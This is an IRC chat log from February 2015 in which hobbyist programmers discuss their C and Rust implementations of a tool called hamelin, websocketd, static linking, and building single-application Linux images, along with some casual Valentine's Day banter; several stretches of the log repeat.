[2015-02-13T15:32:58-0500] <JacobEdelman_> all of those pieces
[2015-02-13T15:33:02-0500] <JacobEdelman_> were about 
[2015-02-13T15:33:03-0500] <JacobEdelman_> rust
[2015-02-13T15:33:06-0500] <JacobEdelman_> cause apparentely
[2015-02-13T15:33:10-0500] <JacobEdelman_> spam people
[2015-02-13T15:33:14-0500] <JacobEdelman_> are getting my emai;
[2015-02-13T15:33:16-0500] <JacobEdelman_> *email
[2015-02-13T15:33:23-0500] <JacobEdelman_> cause I was listed as a contributor to rust 1.0
[2015-02-13T15:33:24-0500] <JacobEdelman_> :P
[2015-02-13T15:34:03-0500] <+hardmath123> xD
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[2015-02-14T00:39:14-0500] <bob_twinkles> what even is a monad transformer and how does it happen
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[2015-02-14T11:20:03-0500] <+hardmath123> I'm realizing that To-do lists shouldn't be lists. They should be dependency graphs.
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[2015-02-14T12:15:26-0500] <JacobEdelman> my dependency graph to-do list has a cycle
[2015-02-14T12:15:31-0500] <JacobEdelman> please advise :P
[2015-02-14T12:19:20-0500] <alokpathy> You dun goofed.
[2015-02-14T12:58:04-0500] <JacobEdelman> researching slender man for a research paper is creepy
[2015-02-14T12:58:21-0500] <JacobEdelman> the slender man movie appears to have mysteriously disappeared from the Internet
[2015-02-14T13:15:52-0500] <alokpathy> Why are you looking up slenderman for a reseach paper...?
[2015-02-14T16:02:54-0500] <alokpathy> So guys
[2015-02-14T16:03:03-0500] <alokpathy> how are your Valentine's Days?
[2015-02-14T16:03:09-0500] <+hardmath123> Umm
[2015-02-14T16:03:29-0500] <+hardmath123> I was subjected to a barbaric haircut.
[2015-02-14T16:04:01-0500] <+hardmath123> My head feels lighter than it should.
[2015-02-14T16:10:25-0500] <+awe> ???
[2015-02-14T16:10:32-0500] <+awe> I'm gone for 24 hours.
[2015-02-14T16:10:36-0500] <+awe> The backlog is non-existent.
[2015-02-14T16:11:37-0500] <+hardmath123> All the cool kids are off doing Valentines' Day things.
[2015-02-14T16:11:52-0500] <+hardmath123> We're also unable to conversationally function without you.
[2015-02-14T16:12:08-0500] <+awe> Evidently.
[2015-02-14T16:12:28-0500] <JacobEdelman> I've been busy :P
[2015-02-14T16:12:33-0500] <JacobEdelman> darn research paper
[2015-02-14T16:27:22-0500] <JacobEdelman> so alokpathy and I were testing out an email thing
[2015-02-14T16:27:24-0500] <JacobEdelman> so he chats me
[2015-02-14T16:27:33-0500] <JacobEdelman> (to confirm that he received a message)
[2015-02-14T16:27:39-0500] <JacobEdelman> "Ql45ith5 i5 2
[2015-02-14T16:27:39-0500] <JacobEdelman> Um
[2015-02-14T16:27:39-0500] <JacobEdelman> Alright it worked*"
[2015-02-14T16:27:42-0500] <JacobEdelman> ...
[2015-02-14T16:28:06-0500] <+hardmath123> um you shouldn't be the one complaining about typos :P
[2015-02-14T16:31:11-0500] <+awe> Lol.
[2015-02-14T16:32:08-0500] <+hardmath123> awe: my C implementation of hamelin sort of works now
[2015-02-14T16:32:17-0500] <+awe> Lol, just like my Rust one!
[2015-02-14T16:32:37-0500] <+hardmath123> awe: a few things to sort out, but I can asyncly read/write to a subprocess, which is very nontrivial.
[2015-02-14T16:32:43-0500] <+awe> Yeah, duh.
[2015-02-14T16:32:49-0500] <+awe> We figured that out when I tried in Rust, too. :p
[2015-02-14T16:33:15-0500] <+hardmath123> I mean, the logic is trivial.
[2015-02-14T16:33:22-0500] <+hardmath123> The number of different system calls needed is annoying.
[2015-02-14T16:33:26-0500] <+awe> Mhm.
[2015-02-14T16:33:40-0500] <+awe> Especially for performant, cross-platform C.
[2015-02-14T16:34:04-0500] <+hardmath123> I'm using everything in the POSIX standard so hopefully that'll be compliant cross-platform.
[2015-02-14T16:36:01-0500] <+awe> ???
[2015-02-14T16:36:02-0500] <+awe> Windows?
[2015-02-14T16:36:27-0500] <+hardmath123> cygwin
[2015-02-14T16:36:49-0500] <+hardmath123> i don't care for normal windows because i have no means of testing or developing for it
[2015-02-14T16:36:53-0500] <+awe> Lol.
[2015-02-14T16:37:01-0500] <+awe> Very cross-platform.
[2015-02-14T16:37:02-0500] <+awe> Great to hear it.
[2015-02-14T16:37:10-0500] <+awe> That being said, mio also is POSIX only.
[2015-02-14T16:37:22-0500] <+awe> So, mine doesn't work on Windows until mio supports Windows.
[2015-02-14T16:38:32-0500] <JacobEdelman> I think the windows version
[2015-02-14T16:38:49-0500] <JacobEdelman> should just be the linux version along with an installer for a linux distro
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[2015-02-14T16:42:25-0500] Set by awe on February 3, 2015 at 9:47:16 PM EST
[2015-02-14T11:20:03-0500] <+hardmath123> I'm realizing that To-do lists shouldn't be lists. They should be dependency graphs.
[2015-02-14T12:15:26-0500] <JacobEdelman> my dependency graph to-do list has a cycle
[2015-02-14T12:15:31-0500] <JacobEdelman> please advise :P
[2015-02-14T12:19:20-0500] <alokpathy> You dun goofed.
[2015-02-14T12:58:04-0500] <JacobEdelman> researching slender man for a research paper is creepy
[2015-02-14T12:58:21-0500] <JacobEdelman> the slender man movie appears to have mysteriously disappeared from the Internet
[2015-02-14T13:15:52-0500] <alokpathy> Why are you looking up slenderman for a reseach paper...?
[2015-02-14T16:02:54-0500] <alokpathy> So guys
[2015-02-14T16:03:03-0500] <alokpathy> how are your Valentine's Days?
[2015-02-14T16:03:09-0500] <+hardmath123> Umm
[2015-02-14T16:03:29-0500] <+hardmath123> I was subjected to a barbaric haircut.
[2015-02-14T16:04:01-0500] <+hardmath123> My head feels lighter than it should.
[2015-02-14T16:10:25-0500] <+awe> ???
[2015-02-14T16:10:32-0500] <+awe> I'm gone for 24 hours.
[2015-02-14T16:10:36-0500] <+awe> The backlog is non-existent.
[2015-02-14T16:11:37-0500] <+hardmath123> All the cool kids are off doing Valentines' Day things.
[2015-02-14T16:11:52-0500] <+hardmath123> We're also unable to conversationally function without you.
[2015-02-14T16:12:08-0500] <+awe> Evidently.
[2015-02-14T16:12:28-0500] <JacobEdelman> I've been busy :P
[2015-02-14T16:12:33-0500] <JacobEdelman> darn research paper
[2015-02-14T16:27:22-0500] <JacobEdelman> so alokpathy and I were testing out an email thing
[2015-02-14T16:27:24-0500] <JacobEdelman> so he chats me
[2015-02-14T16:27:33-0500] <JacobEdelman> (to confirm that he received a message)
[2015-02-14T16:27:39-0500] <JacobEdelman> "Ql45ith5 i5 2
[2015-02-14T16:27:39-0500] <JacobEdelman> Um
[2015-02-14T16:27:39-0500] <JacobEdelman> Alright it worked*"
[2015-02-14T16:27:42-0500] <JacobEdelman> ...
[2015-02-14T16:28:06-0500] <+hardmath123> um you shouldn't be the one complaining about typos :P
[2015-02-14T16:31:11-0500] <+awe> Lol.
[2015-02-14T16:32:08-0500] <+hardmath123> awe: my C implementation of hamelin sort of works now
[2015-02-14T16:32:17-0500] <+awe> Lol, just like my Rust one!
[2015-02-14T16:32:37-0500] <+hardmath123> awe: a few things to sort out, but I can asyncly read/write to a subprocess, which is very nontrivial.
[2015-02-14T16:32:43-0500] <+awe> Yeah, duh.
[2015-02-14T16:32:49-0500] <+awe> We figured that out when I tried in Rust, too. :p
[2015-02-14T16:33:15-0500] <+hardmath123> I mean, the logic is trivial.
[2015-02-14T16:33:22-0500] <+hardmath123> The number of different system calls needed is annoying.
[2015-02-14T16:33:26-0500] <+awe> Mhm.
[2015-02-14T16:33:40-0500] <+awe> Especially for performant, cross-platform C.
[2015-02-14T16:34:04-0500] <+hardmath123> I'm using everything in the POSIX standard so hopefully that'll be compliant cross-platform.
[2015-02-14T16:36:01-0500] <+awe> ???
[2015-02-14T16:36:02-0500] <+awe> Windows?
[2015-02-14T16:36:27-0500] <+hardmath123> cygwin
[2015-02-14T16:36:49-0500] <+hardmath123> i don't care for normal windows because i have no means of testing or developing for it
[2015-02-14T16:36:53-0500] <+awe> Lol.
[2015-02-14T16:37:01-0500] <+awe> Very cross-platform.
[2015-02-14T16:37:02-0500] <+awe> Great to hear it.
[2015-02-14T16:37:10-0500] <+awe> That being said, mio also is POSIX only.
[2015-02-14T16:37:22-0500] <+awe> So, mine doesn't work on Windows until mio supports Windows.
[2015-02-14T16:38:32-0500] <JacobEdelman> I think the windows version
[2015-02-14T16:38:49-0500] <JacobEdelman> should just be the linux version along with an installer for a linux distro
[2015-02-14T16:42:30-0500] Mode is +nt
[2015-02-14T16:43:39-0500] <+awe> JacobEdelman: that's not helpful.
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[2015-02-14T17:30:12-0500] <alokpathy> LBT is gone :(
[2015-02-14T17:30:22-0500] <alokpathy> Come back soon!
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[2015-02-14T17:31:17-0500] <alokpathy> Wait zrl left too
[2015-02-14T17:31:23-0500] <+hardmath123> Uh-oh.
[2015-02-14T17:31:24-0500] <alokpathy> Everybody's leaving D:
[2015-02-14T17:31:31-0500] <alokpathy> Don't leave!
[2015-02-14T17:31:35-0500] <+hardmath123> I'm not leaving!
[2015-02-14T17:31:54-0500] <+hardmath123> Perhaps we had a pdgn netsplit? Our first.
[2015-02-14T17:32:13-0500] <+hardmath123> nvm we're both on different servs.
[2015-02-14T17:32:40-0500] <+awe> Lol, no.
[2015-02-14T17:32:45-0500] <+awe> Two people left.
[2015-02-14T17:32:48-0500] <+awe> That's not a netsplit.
[2015-02-14T17:33:04-0500] <+hardmath123> I keep hoping for one :P
[2015-02-14T17:33:16-0500] <+awe> Jerk.
[2015-02-14T17:36:16-0500] <+awe> hardmath123: I don't want us to ever have one, but realistically, it'll happen at some point.
[2015-02-14T17:40:22-0500] <JacobEdelman> hmmm
[2015-02-14T17:40:47-0500] <JacobEdelman> awe: you doing anything for valentines day?
[2015-02-14T17:41:03-0500] <+awe> I dnuno.
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[2015-02-14T17:49:31-0500] <alokpathy> Ayy they're back
[2015-02-14T17:58:24-0500] <+hardmath123> gaaah why is fgets blocking on EOF
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[2015-02-14T18:32:30-0500] <JacobEdelman> hmm... I have two dates for valentines day
[2015-02-14T18:32:32-0500] <JacobEdelman> my gf
[2015-02-14T18:32:36-0500] <JacobEdelman> and one with my new phone
[2015-02-14T18:32:38-0500] <JacobEdelman> :)
[2015-02-14T18:34:12-0500] <+jwoglom> sounds like a subtle brag
[2015-02-14T18:34:14-0500] <+jwoglom> for both :P
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[2015-02-14T18:48:02-0500] Set by awe on February 3, 2015 at 9:47:16 PM EST
[2015-02-14T16:28:06-0500] <hardmath123> um you shouldn't be the one complaining about typos :P
[2015-02-14T16:31:11-0500] <+awe> Lol.
[2015-02-14T16:32:08-0500] <hardmath123> awe: my C implementation of hamelin sort of works now
[2015-02-14T16:32:17-0500] <+awe> Lol, just like my Rust one!
[2015-02-14T16:32:37-0500] <hardmath123> awe: a few things to sort out, but I can asyncly read/write to a subprocess, which is very nontrivial.
[2015-02-14T16:32:43-0500] <+awe> Yeah, duh.
[2015-02-14T16:32:49-0500] <+awe> We figured that out when I tried in Rust, too. :p
[2015-02-14T16:33:15-0500] <hardmath123> I mean, the logic is trivial.
[2015-02-14T16:33:22-0500] <hardmath123> The number of different system calls needed is annoying.
[2015-02-14T16:33:26-0500] <+awe> Mhm.
[2015-02-14T16:33:40-0500] <+awe> Especially for performant, cross-platform C.
[2015-02-14T16:34:04-0500] <hardmath123> I'm using everything in the POSIX standard so hopefully that'll be compliant cross-platform.
[2015-02-14T16:36:01-0500] <+awe> ???
[2015-02-14T16:36:02-0500] <+awe> Windows?
[2015-02-14T16:36:27-0500] <hardmath123> cygwin
[2015-02-14T16:36:49-0500] <hardmath123> i don't care for normal windows because i have no means of testing or developing for it
[2015-02-14T16:36:53-0500] <+awe> Lol.
[2015-02-14T16:37:01-0500] <+awe> Very cross-platform.
[2015-02-14T16:37:02-0500] <+awe> Great to hear it.
[2015-02-14T16:37:10-0500] <+awe> That being said, mio also is POSIX only.
[2015-02-14T16:37:22-0500] <+awe> So, mine doesn't work on Windows until mio supports Windows.
[2015-02-14T16:38:32-0500] <JacobEdelman> I think the windows version
[2015-02-14T16:38:49-0500] <JacobEdelman> should just be the linux version along with an installer for a linux distro
[2015-02-14T16:43:39-0500] <+awe> JacobEdelman: that's not helpful.
[2015-02-14T17:30:12-0500] <alokpathy> LBT is gone :(
[2015-02-14T17:30:22-0500] <alokpathy> Come back soon!
[2015-02-14T17:31:17-0500] <alokpathy> Wait zrl left too
[2015-02-14T17:31:23-0500] <hardmath123> Uh-oh.
[2015-02-14T17:31:24-0500] <alokpathy> Everybody's leaving D:
[2015-02-14T17:31:31-0500] <alokpathy> Don't leave!
[2015-02-14T17:31:35-0500] <hardmath123> I'm not leaving!
[2015-02-14T17:31:54-0500] <hardmath123> Perhaps we had a pdgn netsplit? Our first.
[2015-02-14T17:32:13-0500] <hardmath123> nvm we're both on different servs.
[2015-02-14T17:32:40-0500] <+awe> Lol, no.
[2015-02-14T17:32:45-0500] <+awe> Two people left.
[2015-02-14T17:32:48-0500] <+awe> That's not a netsplit.
[2015-02-14T17:33:04-0500] <hardmath123> I keep hoping for one :P
[2015-02-14T17:33:16-0500] <+awe> Jerk.
[2015-02-14T17:36:16-0500] <+awe> hardmath123: I don't want us to ever have one, but realistically, it'll happen at some point.
[2015-02-14T17:40:22-0500] <JacobEdelman> hmmm
[2015-02-14T17:40:47-0500] <JacobEdelman> awe: you doing anything for valentines day?
[2015-02-14T17:41:03-0500] <+awe> I dnuno.
[2015-02-14T17:49:31-0500] <alokpathy> Ayy they're back
[2015-02-14T17:58:24-0500] <hardmath123> gaaah why is fgets blocking on EOF
[2015-02-14T18:32:30-0500] <JacobEdelman> hmm... I have two dates for valentines day
[2015-02-14T18:32:32-0500] <JacobEdelman> my gf
[2015-02-14T18:32:36-0500] <JacobEdelman> and one with my new phone
[2015-02-14T18:32:38-0500] <JacobEdelman> :)
[2015-02-14T18:34:12-0500] <+jwoglom> sounds like a subtle brag
[2015-02-14T18:34:14-0500] <+jwoglom> for both :P
[2015-02-14T18:48:03-0500] Mode is +nt
[2015-02-14T18:48:27-0500] <+awe> The idea that JacobEdelman has a girlfriend is a deeply confusing one.
[2015-02-14T20:05:03-0500] <bob_twinkles> why is the haskell Array library so incomplete =(
[2015-02-14T20:05:27-0500] <bob_twinkles> well, really there's only one thing missing I'd like to have
[2015-02-14T20:06:03-0500] <bob_twinkles> (IArray a e, IX i) => i -> (i -> e) -> a i e
[2015-02-14T20:06:57-0500] <bob_twinkles> and function called "lookup" or similar which is function form of (!) would be nice
[2015-02-14T20:07:08-0500] <bob_twinkles> meh
[2015-02-14T20:07:21-0500] <+awe> Eh.
[2015-02-14T20:07:31-0500] <+awe> I think it's because it doesn't get the same usage.
[2015-02-14T20:07:45-0500] <bob_twinkles> yeah
[2015-02-14T20:08:26-0500] <bob_twinkles> there also isn't an instance of MArray for the State monad so if you want to do stateful transformations you basically have to use the ST monad
[2015-02-14T20:08:45-0500] <bob_twinkles> which as near as I can tell is a less flexible and more or less abandoned form of State
[2015-02-14T20:08:56-0500] <bob_twinkles> I could also just be missing something dumb though
[2015-02-14T20:10:28-0500] <bob_twinkles> perhaps this is an indication that I'm not really doing this right =P
[2015-02-14T20:11:50-0500] <+awe> Maybe.
[2015-02-14T20:11:56-0500] <bob_twinkles> #jokes
[2015-02-14T20:42:51-0500] <hardmath123> awe: Guess who invented hamelin before me? http://websocketd.com
[2015-02-14T20:45:24-0500] <+awe> hardmath123: dammit.
[2015-02-14T20:45:57-0500] <+awe> It's written in Go.
[2015-02-14T20:46:38-0500] <hardmath123> We should really write that RFC.
[2015-02-14T20:46:56-0500] <hardmath123> And make a decent C implementation/
[2015-02-14T20:47:01-0500] <hardmath123> And then publish and get credit.
[2015-02-14T20:47:04-0500] <hardmath123> I'm very mad right now.
[2015-02-14T20:49:33-0500] <+awe> Lol.
[2015-02-14T20:55:34-0500] <+awe> hardmath123: hamelin is better.
[2015-02-14T20:55:39-0500] <+awe> hardmath123: "Now connect to your program from JavaScript in a web-page using a WebSocket:"
[2015-02-14T20:58:10-0500] <hardmath123> awe: yet hamelin isn't trending on Hacker News.
[2015-02-14T20:58:19-0500] <+awe> hardmath123: is this?
[2015-02-14T20:58:28-0500] <hardmath123> Yes, #1 right now.
[2015-02-14T20:58:34-0500] <+awe> Oh.
[2015-02-14T20:58:35-0500] <+awe> You've lost.
[2015-02-14T20:58:36-0500] <+awe> Sorry.
[2015-02-14T20:58:39-0500] <hardmath123> D:
[2015-02-14T20:58:43-0500] <hardmath123> But...
[2015-02-14T20:59:02-0500] <+awe> Most of the people who would be interested in hamelin are the same people who eat Hacker News bullshit for breakfast.
[2015-02-14T20:59:20-0500] <bob_twinkles> Javascript Is The Future man
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[2015-02-14T20:59:44-0500] <hardmath123> I feel if we actually do a good job with hamelin, people would care.
[2015-02-14T21:00:00-0500] <+awe> bob_twinkles: http://www.hanselman.com/blog/JavaScriptHasWonRunFlashWithMozillaShumwayAndDevelopSilverlightInJSWithFayde.aspx
[2015-02-14T21:00:06-0500] <+awe> "Anyways, the point is that JavaScript isn't just an application language (Fayde), but an assembly language (CSHTML5/JSIL) as well. It has indeed won the web (and I would argue, everything else once hardware/performance catches up to it)."
[2015-02-14T21:00:10-0500] <+awe> bob_twinkles: from a comment. ^
[2015-02-14T21:00:13-0500] <hardmath123> 3700 stars. 3700.
[2015-02-14T21:00:14-0500] <+awe> bob_twinkles: I want to destroy everything.
[2015-02-14T21:00:43-0500] <+awe> hardmath123: they started a year ago.
[2015-02-14T21:01:10-0500] <+awe> hardmath123: erm, sorry
[2015-02-14T21:01:12-0500] <+awe> hardmath123: 2 years ago.
[2015-02-14T21:01:26-0500] <+awe> hardmath123: exactly two years ago today.
[2015-02-14T21:01:32-0500] <hardmath123> oh so i wasn't first
[2015-02-14T21:01:34-0500] <hardmath123> i feel better now
[2015-02-14T21:02:00-0500] <bob_twinkles> "You can do *anything* with JavaScript... it's any wonder why MSFT doesn't officially port .NET to it like CSHTML5"
[2015-02-14T21:02:11-0500] <bob_twinkles> > MFW implementing a JIT in javascript
[2015-02-14T21:11:18-0500] <hardmath123> oh god
[2015-02-14T21:11:20-0500] <hardmath123> i fixed it
[2015-02-14T21:11:31-0500] <hardmath123> i needed a fclose someplace for no good reason
[2015-02-14T21:11:49-0500] <hardmath123> apparently fputc(EOF) doesn't help
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[2015-02-14T21:49:03-0500] <hardmath123> cat /usr/share/dict/words | ./a.out reliably greps for cows now.
[2015-02-14T21:49:45-0500] <bob_twinkles1> > a.out
[2015-02-14T21:50:01-0500] <bob_twinkles1> for whatever reason that just makes me sad every time I see it =P
[2015-02-14T21:50:46-0500] <bob_twinkles1> well done though
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[2015-02-15T00:56:36-0500] <grantwu> Is anyone here
[2015-02-15T01:01:21-0500] <hardmath123> hi grantwu 
[2015-02-15T01:01:38-0500] <grantwu> hello
[2015-02-15T01:04:05-0500] <grantwu> How are you
[2015-02-15T01:04:14-0500] <hardmath123> I'm fine.
[2015-02-15T01:04:19-0500] <hardmath123> A bit sleepy.
[2015-02-15T01:04:29-0500] <grantwu> I see
[2015-02-15T01:04:35-0500] <+awe> I am tired.
[2015-02-15T01:04:38-0500] <+awe> I've been up since 7
[2015-02-15T01:04:41-0500] <+awe> and I barely slept.
[2015-02-15T01:05:00-0500] <grantwu> Sleepy hardmath123, I am going to go and try to watch a lecture on hard math that I may have slept through :C
[2015-02-15T10:26:52-0500] <alokpathy> grantwu: Upir
[2015-02-15T10:26:55-0500] <alokpathy> Oops
[2015-02-15T10:26:59-0500] <alokpathy> grantwu: You're back* :D
[2015-02-15T11:12:11-0500] <JacobEdelman> so, why is it so silent?
[2015-02-15T11:12:19-0500] <JacobEdelman> oh wait, its not
[2015-02-15T11:12:31-0500] <JacobEdelman> I just wasn't scrolling down to the bottom of the chat
[2015-02-15T11:12:35-0500] • JacobEdelman: facepalms
[2015-02-15T11:14:56-0500] <JacobEdelman> awe, hardmath123: the websocketd thing is better than hameline at the moment, isn't it? I mean, hamlin doesn't have anything really cool implemented in it yet, does it?
[2015-02-15T11:16:54-0500] <hardmath123> JacobEdelman: Yeah, that's why *you* should be implementing cool things/hamelin.js.
[2015-02-15T11:17:05-0500] <hardmath123> I'm working on hamelin.c, the C implementation.
[2015-02-15T11:35:08-0500] <JacobEdelman> hardmath123: but... but... it would have to be performant
[2015-02-15T12:09:48-0500] <JacobEdelman> so
[2015-02-15T12:10:06-0500] <JacobEdelman> if I wanted to get compile stand-alone binaries for software
[2015-02-15T12:11:06-0500] <JacobEdelman> (for instance, make it so I can run the midori browser with only one binary and no dependencies)
[2015-02-15T12:11:10-0500] <JacobEdelman> how would I do so?
[2015-02-15T12:11:49-0500] <hardmath123> static linking
[2015-02-15T12:12:00-0500] <hardmath123> all the dependencies get merged into the executable
[2015-02-15T12:12:17-0500] <JacobEdelman> wouldn't I have to do that directly to the source of an application manually?
[2015-02-15T12:12:22-0500] <JacobEdelman> I want to be able to do it automatically
[2015-02-15T12:12:25-0500] <hardmath123> you could compiled it staticaly
[2015-02-15T12:12:30-0500] <hardmath123> without editing the source
[2015-02-15T12:13:39-0500] <JacobEdelman> cool! any idea of how to do that/link to tutorial?
[2015-02-15T12:15:30-0500] <JacobEdelman> basic ddg searches turn up little
[2015-02-15T12:15:33-0500] <hardmath123> https://gcc.gnu.org/onlinedocs/gcc/Link-Options.html
[2015-02-15T12:15:39-0500] <hardmath123> I think gcc -static should suffice
[2015-02-15T12:16:50-0500] <JacobEdelman> hmm... what if I want to be able to do it with a "make"?
[2015-02-15T12:18:14-0500] <JacobEdelman> or would I have to figure out the equivlent of --static for any programming language I wanted to use?
[2015-02-15T12:19:22-0500] <hardmath123> just put -static in your makefile?
[2015-02-15T12:19:35-0500] <hardmath123> what do you mean, "any programming language"?
[2015-02-15T12:20:38-0500] <JacobEdelman> just take anything that has a makefil
[2015-02-15T12:20:43-0500] <JacobEdelman> and make it statically
[2015-02-15T12:20:53-0500] <JacobEdelman> cause gcc is only for c
[2015-02-15T12:20:56-0500] <JacobEdelman> right?
[2015-02-15T12:21:36-0500] <hardmath123> gcc does c and c++ and objective-C, iirc.
[2015-02-15T12:21:50-0500] <hardmath123> also
[2015-02-15T12:22:07-0500] <hardmath123> anything can have a makefile, but not anything can be compiled statically, because not everything is compiled at all.
[2015-02-15T12:22:22-0500] <hardmath123> there exist makefiles in large nodejs modules, for instance.
[2015-02-15T12:23:31-0500] <JacobEdelman> oh, okay
[2015-02-15T12:24:16-0500] <JacobEdelman> hmmm... so, if I want to make minimal linux distrubtions, specifically made for any given program, what do you think i should do?
[2015-02-15T12:25:07-0500] <hardmath123> depends on the programming language
[2015-02-15T12:25:12-0500] <hardmath123> for node modules, just put it on npm
[2015-02-15T12:25:22-0500] <hardmath123> for python modules, read my rant.
[2015-02-15T12:26:09-0500] <hardmath123> for C programs, link dynamically in general
[2015-02-15T12:36:44-0500] <JacobEdelman> hmm... I'd really prefer something general
[2015-02-15T12:37:13-0500] <JacobEdelman> not having to use a diff method for each lang
[2015-02-15T12:37:31-0500] <JacobEdelman> maybe a package manager where each package is self contained
[2015-02-15T12:37:38-0500] <hardmath123> those would be huge packages
[2015-02-15T12:37:44-0500] <JacobEdelman> or a package manager for statically linked stuff
[2015-02-15T12:38:49-0500] <hardmath123> the whole point of a package manager is to handle dependency-ey stuff.
[2015-02-15T12:39:06-0500] <hardmath123> if everything was statically linked, you could just download binaries and put them in your path manually
[2015-02-15T12:39:11-0500] <hardmath123> people would prefer that
[2015-02-15T12:40:52-0500] <JacobEdelman> hmm... the problem is I want to be able to create a linux distro that comes with a single package isntalled, no internet connection needed when you use it
[2015-02-15T12:41:03-0500] <JacobEdelman> so I can't have a package manager in it
[2015-02-15T13:09:25-0500] <grantwu> You could try like
[2015-02-15T13:10:12-0500] <grantwu> Temporarily installing a package manager, installing a package, then uninstalling the package manager somehow?
[2015-02-15T13:11:30-0500] <JacobEdelman> hmm... that is a possibilitiy
[2015-02-15T13:11:37-0500] <JacobEdelman> I just hoped there was an easier way of doing it
[2015-02-15T13:12:26-0500] <grantwu> Doubtful, dependency management is hard
[2015-02-15T13:12:41-0500] <grantwu> Why exactly shouldn't it have internet access?
[2015-02-15T13:48:44-0500] <JacobEdelman> cause I want to make ready to boot single application linux versions
[2015-02-15T13:49:23-0500] <JacobEdelman> so you just boot it up, it has one application, and can run that application fast
[2015-02-15T14:03:08-0500] <JacobEdelman> hmmm.. pdgn is unusually quiet today
[2015-02-15T14:07:01-0500] <alokpathy> Hm
[2015-02-15T14:07:04-0500] <alokpathy> Should we make some noise?
[2015-02-15T14:07:07-0500] <JacobEdelman> yes
[2015-02-15T14:07:09-0500] <JacobEdelman> also
[2015-02-15T14:07:15-0500] • alokpathy: bangs cymbals.
[2015-02-15T14:07:34-0500] <JacobEdelman> hardmath123: maybe you should get the websocketd guy to make something for hamelin, or write a wrapper to make it part of hamelin
[2015-02-15T14:07:41-0500] <JacobEdelman> alokpathy: you call that noise
[2015-02-15T14:08:01-0500] <alokpathy> Well, it wasn't music.
[2015-02-15T14:12:06-0500] <+awe> JacobEdelman: No, it seems like websccketd is exactly the same thing as what hamelin is right now.
[2015-02-15T14:12:32-0500] <+awe> JacobEdelman: except that it's only for websockets whereas hamelin is for TCP and secure TCP.
[2015-02-15T14:36:16-0500] <hardmath123> Well, no, it should handle any protocol you code for it.
[2015-02-15T14:37:02-0500] <hardmath123> awe: Like IRC, for example.
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[2015-02-15T14:39:25-0500] <grantwu> @JacobEdelman Well doesn't that mean you can't remotely administer it?
[2015-02-15T14:40:30-0500] <grantwu> Unless you have it attached to a LAN
[2015-02-15T14:42:17-0500] <hardmath123> awe: how should the C interface to hamelin look?
[2015-02-15T14:42:39-0500] <hardmath123> awe: the interface to subprocess creation
[2015-02-15T14:43:40-0500] <grantwu> Also really how much speed will getting rid of excess packages get you?
[2015-02-15T14:52:17-0500] <JacobEdelman> grantwu: eh.. probaly not a huge amount, maybe 1.5x speed depending on what you are doing, but it will mean you can minimize ram usage to a huge extent
[2015-02-15T14:52:41-0500] <grantwu> But like... what are excess packages are you looking to eliminate?
[2015-02-15T14:52:52-0500] <JacobEdelman> grantwu: what you can actually do is have all files stored in the ram easily, which means accessing files is super fast
[2015-02-15T14:53:05-0500] <JacobEdelman> grantwu: everything that isn't needed to run the one specific program
[2015-02-15T14:53:09-0500] <JacobEdelman> what I want to do
[2015-02-15T14:53:11-0500] <JacobEdelman> is related to this:
[2015-02-15T14:53:12-0500] <grantwu> Okay so you're using a ramdisk
[2015-02-15T14:53:12-0500] <JacobEdelman> http://imgur.com/H8Lck1S
[2015-02-15T14:53:21-0500] <JacobEdelman> that is a picture of my browser
[2015-02-15T14:53:27-0500] <JacobEdelman> with a linux emulator running it
[2015-02-15T14:53:45-0500] <JacobEdelman> with the text based browser w3m in the linux emulator in my browser visiting pdgn.co
[2015-02-15T14:53:55-0500] <JacobEdelman> yes, its browsersception
[2015-02-15T14:56:15-0500] <grantwu> *shrug* yes I think you'll have to do things manually, if you really want you can make your own pseudo-package manager that uses package metadata to get dependencies
[2015-02-15T14:56:46-0500] <JacobEdelman> well, it seems that arch is actually fast enough to run on the browser
[2015-02-15T14:56:49-0500] <JacobEdelman> so I can just use that
[2015-02-15T14:57:00-0500] <JacobEdelman> the arch package manager is fine
[2015-02-15T14:57:11-0500] <grantwu> You can also look into slipstreaming packages into an image
[2015-02-15T14:58:25-0500] <grantwu> Wait why are you doing this in a browser again xD
[2015-02-15T15:03:06-0500] <JacobEdelman> for fun :)
[2015-02-15T15:03:22-0500] <grantwu> .-.
[2015-02-15T15:03:42-0500] <JacobEdelman> hmm... theres some stuff for generating iso's from directory's
[2015-02-15T15:03:51-0500] <JacobEdelman> (genisoimage)
[2015-02-15T15:04:59-0500] <JacobEdelman> maybe I could use a package manager like pacman, get the software I want, remove the package manger, like you suggested, and than make it into an iso 
[2015-02-15T15:05:27-0500] <JacobEdelman> although I'm probaly overcomplicating it
[2015-02-15T15:05:32-0500] <JacobEdelman> arch alone is fine for my needs
[2015-02-15T15:13:58-0500] <assface> what are you trying to do?
[2015-02-15T15:18:59-0500] <JacobEdelman> I'm thinking of doing a hackathon project where I make a platform to allow any (linux) program to run in the browser
[2015-02-15T15:19:05-0500] <JacobEdelman> I'm trying to see if its viable
[2015-02-15T15:19:17-0500] <JacobEdelman> I think its doable
[2015-02-15T15:19:26-0500] <JacobEdelman> and it seems like the kinda thing hackathon judges would like
[2015-02-15T15:19:37-0500] <JacobEdelman> and it seems doable in one day
[2015-02-15T16:18:25-0500] <+awe> hardmath123: yes, I know hamelin will do anything, but I mean feature-wise right now, we have TCP and secured TCP.
[2015-02-15T16:18:35-0500] <+awe> hardmath123: It doesn't look like websocketd is for any protocol other than that.
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[2015-02-15T14:07:04-0500] <alokpathy> Should we make some noise?
[2015-02-15T14:07:07-0500] <JacobEdelman> yes
[2015-02-15T14:07:09-0500] <JacobEdelman> also
[2015-02-15T14:07:15-0500] • alokpathy: bangs cymbals.
[2015-02-15T14:07:34-0500] <JacobEdelman> hardmath123: maybe you should get the websocketd guy to make something for hamelin, or write a wrapper to make it part of hamelin
[2015-02-15T14:07:41-0500] <JacobEdelman> alokpathy: you call that noise
[2015-02-15T14:08:01-0500] <alokpathy> Well, it wasn't music.
[2015-02-15T14:12:06-0500] <+awe> JacobEdelman: No, it seems like websccketd is exactly the same thing as what hamelin is right now.
[2015-02-15T14:12:32-0500] <+awe> JacobEdelman: except that it's only for websockets whereas hamelin is for TCP and secure TCP.
[2015-02-15T14:36:16-0500] <hardmath123> Well, no, it should handle any protocol you code for it.
[2015-02-15T14:37:02-0500] <hardmath123> awe: Like IRC, for example.
[2015-02-15T14:39:25-0500] <grantwu> @JacobEdelman Well doesn't that mean you can't remotely administer it?
[2015-02-15T14:40:30-0500] <grantwu> Unless you have it attached to a LAN
[2015-02-15T14:42:17-0500] <hardmath123> awe: how should the C interface to hamelin look?
[2015-02-15T14:42:39-0500] <hardmath123> awe: the interface to subprocess creation
